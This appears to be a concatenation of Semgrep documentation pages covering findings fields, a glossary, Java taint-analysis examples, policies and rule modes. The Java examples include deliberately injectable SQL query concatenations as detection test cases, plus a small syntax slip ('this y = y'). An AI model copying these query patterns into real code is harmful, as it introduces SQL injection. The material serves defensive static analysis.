| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
| Created at | The time the finding was created in your timezone. |
| Last Opened at | The time the finding was last opened. |
| Branch | The name of the branch where the finding was detected. |
| Triaged at | The most recent time that the finding was triaged. |
| Triage comment | A triage comment created by the user. |
| Triage reason | The reason why the finding was triaged, created by the user. |
| Rule description | The description of the rule. This is the same as the rule's `message` key. |
The following fields are exclusive to **Code** scans:
| Field | Description |
| :---------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- |
| Confidence | The finding's confidence. Possible values are **High**, **Medium**, or **Low**. Only Semgrep Supply Chain and Code findings provide this field. |
| Category | The finding's category, such as **best practices**, **security**, or **correctness**. |
| Is pro rule | Boolean value that returns `TRUE` if the rule that generated the finding is a pro rule. |
| Assistant triage result | Provides Semgrep Multimodal's assessment. Possible values are `True positive` or `False positive`. These values appear only if Multimodal is enabled. |
| Assistant triage reason | A short AI-generated reason why Multimodal thinks the finding is a true or false positive. These values appear only if Multimodal is enabled. |
The following fields are exclusive to **Supply Chain** scans:
| Field | Description |
| :----------- | :--------------------------------------------------------------------------------------------------------------- |
| Dependency | The name of the dependency where the findings was found. |
| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
| Transitivity | States whether the finding originates from a direct or transitive dependency. |
| CVE | The CVE number that the finding is assigned to. |
| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
The following fields are exclusive to **Secrets** scans:
| Field | Description |
| :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Secret type | Possible values include **AI-detected**, **Generic secret**, **Connection URI**, and so on. |
| Validation | States whether or not the secret was validated. |
| Project visibility | States whether the project (repository) is public or private. This feature supports GitHub-hosted repositories only. It returns an **Unknown** value for non-GitHub SCMs. |
## View details about a specific finding
To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
The finding's details page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see. See [View findings' details](/semgrep-code/finding-details) for more information.
## How Semgrep displays findings on multiple branches
A **single** finding may appear in several branches. These appearances are called **instances** of a finding. Several instances of the same finding may differ in which line of code (LOC) they are on or in their triage state. For example, on `production` the finding may be on line 20, but the same finding was moved further to line 26 in `feature-branch-a`.
Semgrep automatically recognizes that they are fundamentally the same finding and deduplicates these instances so that you do not get an inflated count of findings per ref that the finding is present in.
By default, the Code page displays findings from the [primary branches](/deployment/primary-branch) of all repositories (projects), arranged by most recent scan. You are viewing the **primary branch's instance** of that finding, so you may see variations in LOC or triage state when comparing the finding across branches.
When filtering by primary branch and triage status, the filters are applied based on the **triage status of the finding on the primary branch**. This means that on some feature branches, the instance may already be **Fixed**, but on the primary branch, the finding is still **Open**. The finding status on the primary branch is updated when the PR or MR is merged and Semgrep has scanned the code.
**TIP**
* If you do not see any findings, or there are zero findings after a scan has concluded, check the **Projects** page to view the findings count, if any, and to set a [primary branch](/deployment/primary-branch), if it is not already set.
* The total count of findings in the **Projects** page is based on the **primary branch**.
## Next steps
* Learn more about [viewing a finding's details](/semgrep-code/finding-details).
* Learn how to [triage and remediate Semgrep Code findings](/semgrep-code/triage-remediation).
* Learn how to [get cross-file (interfile) findings for your organization](/semgrep-code/semgrep-pro-engine-intro)
* See [Semgrep Multimodal for Semgrep Code](/semgrep-multimodal/overview) for information on receiving AI-powered security recommendations when reviewing your findings.
# Semgrep Code product terms
Source: https://docs.semgrep.dev/semgrep-code/glossary
The terms and definitions provided here are specific to Semgrep Code.
For rule-writing and SAST (static application security testing) terms, see the [Rule-writing glossary](/writing-rules/glossary).
## Default branch
Also known as a **mainline**, **primary**, or **trunk** branch. In many cases, Semgrep automatically detects these branches as primary branches when it first scans your project. If you have projects (repositories) with unique primary branch names, you can set them through the Semgrep web app.
## Diff-aware scan
A diff-aware scan is a type of scan that shows only the findings that have been caused by changes in files starting from a specific Git baseline. It is typically performed on feature branches when a pull request or merge request is opened. Unlike full scans, diff-aware scans only consider changes within modified files. At this time, cross-file analysis is not supported for diff-aware scans.
## Full scan
A full scan scans the entire codebase or Git repository in its current state. It is typically performed on trunk or mainline branches, such as `main`. Semgrep, Inc. recommends performing full scans on a recurring basis, such as daily or weekly.
## Policy
A policy defines the set of rules that Semgrep runs and the workflow actions it undertakes when a rule from the policy generates a finding. The workflow action performed by Semgrep when it detects a finding can include notifying Slack channels or posting a comment in the pull request or merge request that generated the finding.
Not to be confused with **policy-as-code**.
## Registry (Semgrep Registry)
A [collection of publicly available SAST rules](https://semgrep.dev/r) that you can download. Rules can be filtered by language, OWASP bug class, severity, and so on. [Contributions are welcome](/contributing/contributing-to-semgrep-rules-repository).
Rules are frequently organized by [rulesets](#ruleset), enabling you to find related rules by framework and language.
### Sources of rules
The Registry contains rules imported from various repositories. These include rules authored by other individuals or groups, such as Trail of Bits and GitLab.
You can view a rule's `license` key to ensure the license meets your needs.
## Ruleset
Rulesets are rules related through a programming language, OWASP category, or framework. Rulesets are curated by the team at Semgrep and updated as new rules are added to the Semgrep Registry.
## Scan target
A scan target is any file, or collection of files and directories that Semgrep can scan. While Semgrep can scan **any** text file through `generic` mode, Semgrep primarily scans the following:
### Codebase
Any code files within a specified directory and its subdirectories.
### Project
A repository or codebase that you have added to Semgrep Cloud Platform for scanning along with finding metadata and other Semgrep data and resources.
### Repository
A location, typically remote, for source code, including metadata relating to the source code. Semgrep supports Git repositories.
# Semantic detection in Java
Source: https://docs.semgrep.dev/semgrep-code/java
This document explains how Semgrep detects true positives and reduces false positives in Java.
Additionally, it provides several simple rule examples to illustrate the concepts and how you can make use of these Semgrep features when writing your own rules.
**TIP**
The code examples shown here are best viewed in **a separate Semgrep Playground tab** so that you can see the purple star outline. This star marks the lines that contain false positives and are correctly identified and removed by Semgrep.
## Language features that prevent injection through Boolean and integer types
Strong typing in Java, combined with its compile-time and runtime checks, reduces the likelihood that an integer or Boolean input will be exploited to perform injection-style attacks. Semgrep Pro can reduce false positives by leveraging these checks.
Semgrep Community Edition (CE) matches based on patterns, which can result in false positives (FPs), but only proprietary Semgrep can detect Boolean and integer values and mark these as untainted, or safe, eliminating FPs.
### Example: `int-bool-untainted`
The following demo rule and code sample detects tainted data in `sink()`.
```yaml expandable lines theme={null}
# Semgrep rule
rules:
- id: int-bool-untainted
languages:
- java
severity: MEDIUM
options:
interfile: true
taint_assume_safe_booleans: true
taint_assume_safe_numbers: true
mode: taint
message: Test
pattern-sources:
- patterns:
- pattern-inside: |
class $C {
$T $M(..., $A, ...) {
...
}
}
- focus-metavariable: $A
pattern-sinks:
- pattern: sink(...)
```
```java highlight={22,28} expandable lines theme={null}
class Foo {
String x;
List ids;
public List getIds() {
return ids;
}
}
class Bar {
String y;
Set flags;
public Set getFlags() {
return flags;
}
}
class Test {
public void test1(Foo foo) {
//ruleid: int-bool-untainted
sink(foo.x);
//OK: int-bool-untainted
β sink(foo.getIds().get(0));
}
public void test2(Bar bar) {
//ruleid: int-bool-untainted
sink(bar.y);
//OK: int-bool-untainted
β sink(bar.getFlags().get(0));
}
}
```
**Figure**. `int-bool-untainted`. [Open in interactive Playground](https://semgrep.dev/playground/s/r6rKR).
* This example has two true positives: **line 22** and **line 28**.
* Semgrep Pro is able to detect that **line 24 and 30 are false positives**. Semgrep CE can't catch that distinction.
* Line 24 is a false positive because the data in the sink is an element of an integer list.
* Line 30 is a false positive because the data in the sink is an element in a set of Boolean values.
* The Semgrep rule uses the fields `taint_assume_safe_booleans` and `taint_assume_safe_numbers` to tell the engine that these types are safe and not tainted.
## Semgrep understands the Java standard library and APIs
Java provides a wide array of standard classes and methods across its various libraries. These facilitate programming by offering ready-to-use methods for common tasks. Many of these take string inputs, and return integer or Boolean values. Thus, these statements returning integer or Boolean values are not considered tainted. Semgrep is able to make that distinction, preventing this type of false positive.
### Example: `sqli-demo-bool_doesnt_taint`
This demo rule detects SQL injection through a `UserInputGenerator` class. The class's unsanitized user input is passed to `SQLQueryRunner`.
```yaml expandable lines theme={null}
# Semgrep rule
rules:
- id: sqli-demo-bool_doesnt_taint
message: Found SQLi
languages:
- java
severity: MEDIUM
mode: taint
options:
taint_assume_safe_booleans: true
taint_assume_safe_numbers: true
interfile: true
pattern-sources:
- pattern: |
(UserInputGenerator $X).getUserInput(...)
pattern-sinks:
- pattern: |
(SQLQueryRunner $X).run(...)
```
```java highlight={11,20} expandable lines theme={null}
public class Test {
// Run with `javac Test.java && java Test`
public static void main(String[] args) {
SQLQueryRunner runner = new SQLQueryRunner();
String input = new UserInputGenerator().getUserInput();
// safe
runner.run("SELECT * from table");
//ruleid:sqli-demo-bool_dont_taint
runner.run("SELECT * from " + input);
//ok:sqli-demo-bool_dont_taint
β runner.run("SELECT * from table" + input.endsWith("something"));
//ok:sqli-demo-bool_dont_taint
β runner.run("SELECT * from table" + input.indexOf('u'));
//ruleid:sqli-demo-bool_dont_taint
runner.run("SELECT * from " + input.substring(0));
}
}
class UserInputGenerator {
public String getUserInput() {
return "fake user input";
}
}
class SQLQueryRunner {
public void run(String query) {
System.out.println("Would have run query:");
System.out.println(query);
}
}
```
**Figure**. `sqli-demo-bool_doesnt_taint`. [Open in interactive Playground](https://semgrep.dev/playground/s/Kx1AY).
* This example has two true positives: **line 11** and **line 20**.
* Semgrep Pro is able to detect that **line 14 and 17 are false positives**. Semgrep CE can't catch that distinction.
* Lines 14 and 17 are false positives because `input.endsWith("something")` and `input.indexOf('u')` return a Boolean and integer respectively. Semgrep Pro is able to understand `endsWith` and `indexOf` Java methods.
* The Semgrep rule uses the fields `taint_assume_safe_booleans` and `taint_assume_safe_numbers` to tell the engine that these types are safe and not tainted.
## Semgrep targets code in a parent class and its subclasses
Semgrep supports class inheritance in Java. You can use Semgrep to search across all subclasses. This specificity means that rules can better target your codebase, increasing true positive rates. This is achieved through the `metavariable-type` field, which can accept the name of any user-defined class.
The `metavariable-type` field is available in Semgrep CE. However, classes in Java are frequently defined across files (interfile), which is beyond the scope of Semgrep CE's analysis. Use Semgrep Pro to perform cross-file analysis to ensure that Semgrep can detect all class and subclass definitions.
### Example: `detect-pattern-in-subclass`
```yaml showLineNumbers lines theme={null}
# Semgrep rule
rules:
- id: detect-pattern-in-subclass
languages:
- java
message: Test
options:
interfile: true
patterns:
- pattern: $CLASS.x
- metavariable-type:
metavariable: $CLASS
type: Foo
severity: MEDIUM
```
```java highlight={11,26} expandable theme={null}
class Foo { String x; }
class Bar extends Foo {}
class Baz { String x; }
class Test {
void test() {
Bar bar = new Bar();
//ruleid:detect-pattern-in-subclass
return bar.x;
}
}
class Test2 {
void test() {
Baz baz = new Baz();
β return baz.x;
}
}
class Test3 {
void test() {
Foo foo = new Foo();
//ruleid:detect-pattern-in-subclass
return foo.x;
}
}
```
**Figure**. `detect-pattern-in-subclass`. [ Open in interactive Playground](https://semgrep.dev/playground/s/nJjjG).
This demo rule detects patterns in instances of the user-defined parent class `Foo` and its subclasses.
* This example has two true positives: **line 10** and **line 24**.
* The `patterns` array initially defines a `pattern: $CLASS.x`.
* **Line 17**, `baz.x` fulfills this pattern.
* However, the `metavariable-type` specifies a `type` of `Foo`.
* This specification narrows the match to **line 10** because `Bar` is a subclass of `Foo`, and **line 25**, which is an instance of the `Foo` object itself.
## Semgrep supports field and index sensitivity
Field sensitivity means that Semgrep can track taint for each field of an object independently. Given an object `C` with properties `C.x` and `C.y`, if `C.x` is tainted, then Semgrep does **not** automatically mark `C.y` as tainted.
Similarly, index sensitivity means that Semgrep can track taint for each element of an array independently.
### Example: `unsafe-sql-concatenation-in-method-taint-field-sensitivity`
This demo rule detects that `C.x` is tainted by way of the `injection` variable. It is able to differentiate `C.y` as untainted.
```yaml expandable lines theme={null}
# Semgrep rule
rules:
- id: unsafe-sql-concatenation-in-method-taint-field-sensitivity
languages:
- java
severity: MEDIUM
metadata:
interfile: true
mode: taint
message: Test
options:
taint_assume_safe_booleans: true
taint_assume_safe_numbers: true
interfile: true
pattern-sources:
- patterns:
- pattern: |
$X(..., $SRC, ...) { ... }
- focus-metavariable: $SRC
pattern-sinks:
- patterns:
- pattern-either:
- pattern: com.netsuite.database.SqlLogger.execute(..., $SINK)
- pattern: com.netsuite.database.Util.execute(..., $SINK)
pattern-sanitizers:
- pattern: com.netsuite.database.Util.generateSubSqlForBinding(...)
- pattern: com.netsuite.database.Util.generateSubSql(...)
```
```Java highlight={24} expandable lines theme={null}
import com.netsuite.database.SqlLogger;
import com.netsuite.database.Util;
import com.netsuite.database.SqlBuilder;
import java.sql.SQLException;
class C {
String x;
String y;
C(String x, String y) {
this.x = x;
this y = y;
}
}
class Test {
private void LoggerTruePositives(String injection) {
String stm = "This should not be a String. It is just to simplify the testing process";
C c = new C(injection, "safe");
//ruleid:unsafe-sql-concatenation-in-method-taint-field-sensitivity
String tp1_1 = SqlLogger.execute(stm,"SELECT c1, c2 from tablename where c1 = " + c.getX());
//ok:unsafe-sql-concatenation-in-method-taint-field-sensitivity
β String tp1_2 = SqlLogger.execute(stm,"SELECT c1, c2 from tablename where c1 = " + c.getY());
}
```
**Figure**. `unsafe-sql-concatenation-in-method-taint-field-sensitivity`. [Open in interactive Playground](https://semgrep.dev/playground/s/OrAwe).
* This example has one true positive on **line 24** and one true negative on **line 27**.
* **Line 17** of the rule tells Semgrep to match for the following pattern:
```yaml lines theme={null}
pattern: |
$X(..., $SRC, ...) { ... }
focus-metavariable: $SRC
```
* This matches `private void LoggerTruePositives(String injection)`, specifically the `injection` variable in the sample code.
* The value of the injection variable is passed to `C.x`, thus, `C.x` is tainted, but `C.y` is not.
# Semgrep Code overview
Source: https://docs.semgrep.dev/semgrep-code/overview
Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
You can use Semgrep Code to scan local repositories or integrate it into your CI/CD pipeline to automate the continuous scanning of your code.
## Rules
Semgrep Code uses **rules**, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. Semgrep generates and reports **findings** to you whenever it finds code that matches the patterns defined by rules.
Semgrep performs SAST scans using rules that define the patterns to detect in your code.
Rules used by the Semgrep Pro Engine are available in the [Registry](https://semgrep.dev/r). Additionally, you can [write custom rules](/writing-rules/overview) to determine what Semgrep Code detects in your repositories.
Whether you use pre-existing rules or write custom rules, knowing *which* rules Semgrep Code runs can help you understand how it detects security issues.
Semgrep Code is transparent; you can configure the rules it runs and inspect its syntax to understand how the finding was detected. You can also customize the content of a rule to improve the true positive rate of a rule or have Semgrep send a relevant message to developers.
## AI-powered detection (beta)
Semgrepβs AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs). With AI-Powered Detection, you can automatically identify complex business logic flaws, such as IDORs and broken authorization.
LLMs excel at understanding code context: variable names, class structures, function intent, and even comments. By pairing that reasoning power with structured scanning, Semgrep can:
* Enumerate key attack surfaces, such as routes or controllers.
* Check for missing safeguards, such as authentication, role checks, and permissions.
* Flag potential logic gaps for review before attackers ever find them.
Learn how to run an [AI-powered detection scan](/deployment/add-ai-to-scans).
## Findings
Semgrep AppSec Platform displays Semgrep Code's findings. Additionally, the platform allows you to:
* Triage findings
* Send alerts and notifications or create tickets to track findings identified by Semgrep Code
* Customize how Semgrep Code scans your repositories
* Manage your users and facilitate team collaboration in remediating security issues
## Language support and integrations
Semgrep Code supports a broad set of programming languages, with varying levels of analysis capabilities and language maturity.
* See the full list of [supported programming languages](/supported-languages)
* For definitions of language maturity levels, see the [Language maturity levels](/references/language-maturity-levels) page.
* For analysis terminology, see [Feature definitions](/references/feature-definitions).
* For a list of supported source code managers (SCM), see [Supported source code managers](/getting-started/scm-support) or learn how to [Connect a source code manager](/deployment/connect-scm).
## Semgrep Community Edition (CE) versus Semgrep Code analysis
By default, Semgrep Code can analyze interactions beyond a single function but within a single file, a process known as **cross-function or interprocedural analysis**. This smaller scope of analysis makes it faster and easier to integrate into developer workflows.
Semgrep CE can only analyze interactions within a single function, known as intraprocedural or single-function analysis. However, this means that Semgrep CE is slightly faster than Semgrep Code.
Semgrep Code also supports **[cross-file analysis](/semgrep-code/semgrep-pro-engine-intro/)** (interfile) analysis. These scans produce fewer false positives and more true positives, but take longer to complete.
## Enable Semgrep Code
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
Click the ** Code scans** toggle if it is not already enabled.
Subsequent scans now include Code scans.
### Run Semgrep Code scans with single-function analysis
In some cases, you may want to scan using Semgrep CE's single-function analysis. To do this, edit your `semgrep ci` command in your CI provider's configuration file with either the `--pro-languages` or `--oss-only` flags:
```yaml theme={null}
# Preferred; includes support for all Semgrep Code languages
semgrep ci --pro-languages
# Does not include all Semgrep Code language features
semgrep ci --oss-only
```
## Augment Semgrep Code with Semgrep Multimodal
[Semgrep Multimodal](/semgrep-multimodal/overview) provides AI-powered security recommendations to help you review, triage, and remediate your Semgrep findings. More specifically, Multimodal can:
* Provide [remediation guidance](/semgrep-multimodal/overview#remediation):
* [Guidance in PR and MR comments](/semgrep-multimodal/overview#guidance) with step-by-step remediation instructions.
* [Suggested fix](/semgrep-multimodal/overview#suggested-fix) with prose-based suggestions on how to fix findings.
* [Autofix](/semgrep-code/triage-remediation/autofix) by opening PRs or MRs with AI-suggested fixes.
* Multimodal supports the tailoring of remediation guidance using [Memories](/semgrep-multimodal/overview#memories).
* [Tag your findings](/semgrep-multimodal/overview#component-tags) in Semgrep AppSec Platform to help identify high-priority issues.
* [Autotriage findings](/semgrep-multimodal/overview#autotriage) and suggest whether a finding can safely be ignored.
* [Filter out potential false positives](/semgrep-multimodal/overview#noise-filtering-beta) to help increase developer velocity.
## Next steps
* [View your findings](/semgrep-code/findings).
* Customize how Semgrep Code scans your repository by modifying the [default rules set](https://semgrep.dev/p/default) or [writing your own rules](/semgrep-code/editor/#write-a-new-rule-by-forking-an-existing-rule).
* Enable [Suggested fix](/semgrep-multimodal/customize#suggested-fix) in pull request or merge request comments.
* Enable [Rule-defined fix](/writing-rules/rule-defined-fix) so that Semgrep can push code suggestions to GitHub or GitLab to help your developers resolve findings.
* Enable [Autofix](/semgrep-code/triage-remediation/autofix) to create AI-generated pull requests or merge requests with fixes.
* Enable [cross-file scanning](/semgrep-code/semgrep-pro-engine-intro/).
* Learn how to run an [AI-powered detection scan](/deployment/add-ai-to-scans)
## Further reading
* Read the [Trail of Bits Automated Testing Handbook](https://appsec.guide/) to learn about configuring and optimizing security tools, including Semgrep.
# Manage rules and policies
Source: https://docs.semgrep.dev/semgrep-code/policies
Upgrade to Unified Policies: Semgrep's latest version of **Policies** unifies policies across finding types, allows you to assign different policies to different projects, and adds conditional logic. See [Unified Policies](/semgrep-appsec-platform/unified-policies/overview) for more information.
The Policies page displays the [ rules](/running-rules) that Semgrep Code uses when scanning all of your repositories.
Modifications to the rules on the Policies page allow you to increase the breadth and depth of your scan coverage or remove noise from scans. You can also determine whether findings detected by a given rule can help block merges for pull requests (PRs) or merge requests (MRs).
## Language coverage and scan speeds
Semgrep Code identifies the languages used in your repositories and only runs rules applicable to those languages. For example, adding Ruby and Python rules in your Policies doesn't affect the scan speed for Python-only repositories. Only Python rules are run for Python repositories.
## Policies page structure
The Policies page consists of a header and three main panes:
**Policies header**
The top header consists of:
* **Policies view drop-down**, which lets you choose between:
* Grouping rules by vulnerability class
* No grouping
* Rule Modes button where you can view **rule modes** and edit **notifications** for each rule mode. Rule modes define what **workflow actions** Semgrep Code performs when a rule detects a finding. For example, setting a rule's mode to **Comment** means that Semgrep posts PR or MR comments from findings generated by that rule. See [Block a PR or MR through rule modes](#block-a-pr-or-mr-through-rule-modes) for more information.
* **Add rules** button that takes you to the [Semgrep Registry](https://semgrep.dev/explore) where you can add rules to the Policies page and assign their initial modes.
**Filter pane**
Displays filters to quickly select and perform operations on rules in bulk. See [Policies filter reference](#policies-filter-reference) for more information.
**Rule pane**
The rule pane displays the rules that Semgrep scans use to detect findings and allows you to edit their assigned rule modes. You can make these edits either one by one or through bulk editing of many rules. You can also use the **Search for rule names or ids** box. See [Policies filter reference](#policies-filter-reference) for more information.
### Policies page filters
This section defines the Policies page filters:
| Filter | Description | Examples or possible values |
| :--------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Modes | Filter by the workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules that you have turned off and are no longer included for scanning. | See [Rule modes](#block-a-pr-or-mr-through-rule-modes) documentation. |
| Category | Filter by the type of security issue or vulnerability that the rule detects. |
Dangerous method or function
SQL injection
Active debug code
|
| Severities | The higher the severity, the more critical the issues that a rule detects. |
Critical
High
Medium
Low
|
| Confidence | Filter by the confidence of the rule to detect true positives. |
High
Medium
Low
|
| Source | Filter by the origin of a rule. |
**Pro:** Authored by Semgrep with cross-file (interfile) and cross-function (interprocedural) analysis capabilities, providing you with enhanced scan accuracy. For more information, see Pro rules.
**Community:** Authored by Semgrep, Inc or external contributors such as Trail of Bits.
**Custom:** Rules created within your Semgrep organization. For more information, see Private rules.
. |
| Available rule upgrades | Filter for rules where there exist improved versions to those using paid Semgrep products. | |
| Ruleset | Filter by the name of an existing ruleset. |
|
| Minimum count of findings | Filter by the number of findings. |
10
100
500
|
**TIP**
Use **Minimum count of findings** to identify rules generating a lot of findings. This may be an indication of false positives or noise.
### Rule entries reference
This section defines the columns of the rule entries in the Policies page:
| Filter | Description | Examples or possible values |
| :--------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Rule name | Name of the rule that Semgrep Code uses for scanning. | `docs-print-to-logger` |
| Labels | Metadata describing the rule. This includes the rule's language, category (good security practices, coding standards), and more. |
Security
Code injection
PHP
|
| Open findings | The number of open findings that the rule has detected across all scans. | n/a |
| Fix rate | The percentage of findings that are fixed through changes to the code. | n/a |
| Severity | The higher the severity, the more critical the issues that a rule detects. |
High
Medium
Low
|
| Confidence | Indicates confidence of the rule to detect true positives. |
High
Medium
Low
|
| Source | Indicates the origin of a rule. |
**Pro:** Authored by Semgrep with cross-file (interfile) and cross-function (interprocedural) analysis capabilities, providing you with enhanced scan accuracy. For more information, see Pro rules.
**Community:** Authored by Semgrep, Inc or external contributors such as Trail of Bits.
**Custom:** Rules created within your Semgrep organization. For more information, see Private rules.
. |
| Ruleset | Rules are also organized in rulesets. Rulesets are groups of rules related through a programming language, OWASP category, or framework. |
|
| Mode | Specifies what workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules that you have turned off and are no longer included for scanning. | See [Rule modes](#rule-modes) documentation. |
## Add rules
To add rules, follow these steps:
On the [ Policies](https://semgrep.dev/orgs/-/policies) page, click **Add Rules**.
You are redirected to the [ Semgrep Registry](https://semgrep.dev/explore) page. Explore the page, open cards of individual rules, and then click **Add to Policy**.
Specify the workflow action of the rule that you are adding. Select either:
* Monitor
* Comment
* Block
### Add custom rules to your Policies
To add custom rules, use the Semgrep Editor. See [ Setting code standards with the Policies page](/semgrep-code/editor#add-a-rule-to-the-policies-page).
### Add rulesets to your Policies from the Registry
Instead of adding individual rules to your Policies, you can add rulesets, which are groups of rules related through a programming language, OWASP category, or framework. The Semgrep team curates the rulesets.
On the [ Policies](https://semgrep.dev/orgs/-/policies) page, click **Add Rules**.
You are redirected to the [ Semgrep Registry](https://semgrep.dev/explore) page. Explore the page to find the ruleset you're interested in adding.
Click the ruleset to open its **Explore** page. This page lets you view the included rules and provides instructions for testing and running the ruleset locally before adding it to your policies.
Click **Add to Policy**.
pecify the workflow action for the rules that you are adding by selecting one of these options:
* Monitor
* Comment
* Block
If Semgrep adds rules to the ruleset in the future, they will automatically be added to your Policies in the same mode that you select. You can change the default mode for the current and future rules by re-adding the ruleset through the Registry and choosing a different mode. You *cannot* change the mode of all existing rules associated with the ruleset using the Policies page, since this only makes every rule that you changed an exception to the default.
#### Filtering behavior
* Filter types such as **Language** and **Technology** use `AND` logic. This means that search terms must match all filters. For example, selecting Java (a **Language**) and security (a **Category**) shows only rules with both properties (Java and security).
* Adding filters of the same type use `OR` logic. This means that search terms can match any of the filters for that type. For example, selecting Java and Python (both **Languages**) shows rules with either language.
* A gem icon (π) denotes Semgrep Pro rules.
## Disable rules
See [Triage and remediate findings](/semgrep-code/triage-remediation#turn-off-a-ruleset-or-a-rule) for information on how to disable a rule or a ruleset.
## Rule modes
Semgrep enables you to choose a **workflow action** based on the presence of a finding. Workflow actions include:
* Failing a CI job. Semgrep returns exit code `1`, and you can use this result to set up additional checks to enforce a block in your CI/CD pipeline. This action applies to both full scans and diff-aware scans.
* Leaving a PR or MR comment.
* Notifying select channels, such as private Slack channels or webhooks.
Semgrep Code provides three rule modes:
| Rule mode | Description |
| :-------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Monitor | Rules in **Monitor mode** display findings only in:
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
| Comment | Rules in **Comment mode** display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails. These rules display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
These are typically high-confidence, high-severity rules. |
Semgrep Code provides first-time users with the [ Default ruleset](https://semgrep.dev/p/default). These rules are initially placed in the Monitor column. As you develop confidence in these rules, you are able to change their modes to Comment or Block, ensuring that developers remain free of friction from false positives.
## Block a PR or MR through rule modes
The following instructions walk you through changing the rule mode for rules that generate high severity findings to **block**. Whenever Semgrep identifies such findings, it returns exit code `1`.
You can use this result to set up additional checks to enforce a block in your CI/CD pipeline, such as not allowing the merge of the PR/MR. The process to implement a block on a PR or MR after Semgrep exits with error code `1` is dependent on your CI provider. Review your CI provider's documentation for further information.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Rules > Policies > Code**.
Filter for the applicable rules. For example, select **High** under **Severities** to find all of the rules that generate high severity findings if they match any part of your code.
Select either the box next to ***Number* matching rules** or select individual checkboxes next to one or more rules. These are the rules whose mode you will change in the next step.
Click **Change modes *Number*** and select **Block**.
## Multiple policies
The multiple policies beta program is no longer accepting new participants. To find out more about the functionality this feature provides, see [Unified policies](/semgrep-appsec-platform/unified-policies/overview).
Contact [Support](/support) if you're unable to migrate to unified policies.
The multiple policies feature enables users to customize the Semgrep Code rules that run on specific projects (repositories). Users create different policies that projects can be assigned to.
This feature makes use of a **Global Policy** that runs on **all** projects. Projects cannot be unassigned from it.
You can create a new policy and add one or more projects, then select rules to add to the policy. Projects are assigned manually to additional policies, and multiple projects can be added by searching repository names or tags.
During a scan, the repositories assigned to your custom policy run all of the rules from the **Global Policy** as well as all the rules from your custom policy.
### Policy limit
Current users of the Multiple Policies beta can create up to 10 policies. Some users from earlier phases of the beta may have a higher limit.
### Resolve workflow actions in multiple policies
If a rule is in multiple policies, then the rule is deduplicated and Semgrep prioritizes the workflow action based on the rule mode, where precedence is as follows:
1. Block
2. Comment
3. Monitor
For example, if an instance of `Rule A` is set to **Block**, the scan fails for PRs with any findings from that rule, even if the same `Rule A` is set to **Monitor** in another policy applied to that repository.
To ensure that the workflow action is resolved as expected, add the specific rule to the desired policy mode. This will override any behavior that it inherits from the rulesets it belongs to.
# Semgrep Pro rules
Source: https://docs.semgrep.dev/semgrep-code/pro-rules
This article provides an overview of rules provided exclusively by Semgrep, Inc. called **Semgrep Pro** rules. These high-confidence, professionally maintained rules are a proprietary addition to Semgrep Registry.
The goal of Pro rules is to provide a set of well-supported rules with improved coverage across languages and vulnerability types. Semgrep Pro rules are written using Semgrepβs latest features and, in general, target users who are looking to produce highly accurate, actionable findings.
## Types of rules in the Semgrep Registry by author
* **Community rules** - reviewed by the Semgrep team, these rules consist of contributions from Semgrepβs community. Community rules encompass a wide array of rules, including many that are made for security auditors.
* **Third-party rules** - created directly by external contributors such as Trail of Bits, GitLab and many more.
* **Private rules** - rules authored and published by your own organization, for use only by your organization.
* **Pro rules** - proprietary rules created by the Semgrep team targeted for security and software engineers who need accurate findings. These rules provide increased coverage for many programming languages and use the latest Semgrep features.
## Semgrep Pro rules content
Semgrep Pro rules provide improved findings across many languages on specific classes of vulnerabilities, such as injection vulnerabilities, deserialization, XXE, and many others, as well as increased support for frameworks and technologies such as Express, Spring, Java Servlets, Laravel, Go net/http, React, Next.js, and Angular.
Semgrep's Security Research team plans to keep improving coverage by adding support for more languages and popular frameworks, as well as reducing potential false positives by monitoring rulesβ performance.
